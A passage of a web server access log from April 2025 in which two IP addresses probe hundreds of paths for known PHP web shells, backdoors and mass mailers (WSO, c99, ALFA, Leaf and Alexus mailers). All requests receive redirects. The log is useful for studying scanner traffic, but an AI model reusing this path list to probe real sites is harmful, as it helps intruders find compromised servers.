"-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:48 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.254 - - [28/Apr/2025:11:28:48 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:21:36 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:21:38 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:21:39 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:21:41 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:21:41 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:21:42 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:21:43 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:21:43 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:21:45 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:21:48 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:21:49 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:21:51 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:21:53 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:21:54 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:21:57 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:21:58 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:00 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:01 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:04 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:05 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:06 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:07 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:08 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:10 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:12 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:14 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:15 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:16 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:18 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:20 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:21 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:21 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:22 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:23 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:24 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:24 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:25 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:26 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:26 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:27 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:28 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:29 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:30 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:31 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:32 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:33 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:33 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:36 -0400] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:37 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:39 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:40 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:43 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:44 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:45 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:46 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:48 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:49 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:50 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:51 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:53 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:54 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:55 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:55 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:56 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:57 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:58 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:22:59 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:00 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:01 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:01 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:03 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:04 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:05 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:06 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:07 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:08 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:09 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:10 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:10 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:11 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:13 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:17 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:18 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:19 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:20 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:21 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:22 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:23 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:24 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:25 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:26 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:27 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:29 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:30 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:31 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:33 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:35 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:36 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:36 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:37 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:38 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:39 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:40 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:40 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:41 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:42 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:44 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:45 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:46 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:47 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:48 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:50 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:51 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:52 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:53 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:54 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:55 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:57 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:58 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:23:59 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:00 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:01 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:01 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:02 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:03 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:03 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:05 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:06 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:06 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:07 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:09 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:10 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:10 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:11 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:12 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:13 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:13 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:16 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:16 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:17 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:18 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:19 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:20 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:21 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:22 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:23 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:24 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:25 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:26 -0400] "GET /vuln.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:27 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:28 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:29 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:30 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:32 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:33 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:35 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:35 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:36 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:37 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:40 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:41 -0400] "GET /alexuse.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:42 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:42 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:43 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:44 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:46 -0400] "GET /alexusmailer2.0.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:48 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:50 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:51 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:52 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:54 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:55 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:56 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:57 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:24:59 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:01 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:03 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:03 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:04 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:05 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:07 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:08 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:10 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:13 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:15 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:18 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:21 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:22 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:24 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:25 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:26 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:28 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:29 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:29 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:30 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:31 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:32 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:33 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:35 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:36 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:38 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:39 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:40 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:41 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:42 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:43 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:43 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:44 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:45 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:46 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:47 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:47 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:49 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:49 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:50 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:51 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:51 -0400] "GET //wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:52 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:54 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:55 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:56 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:57 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:58 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:59 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:25:59 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:00 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:01 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:02 -0400] "GET //wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:03 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:06 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:07 -0400] "GET //modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:09 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:11 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:12 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:16 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:17 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "-" 52.164.187.81 - - [28/Apr/2025:12:26:21 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 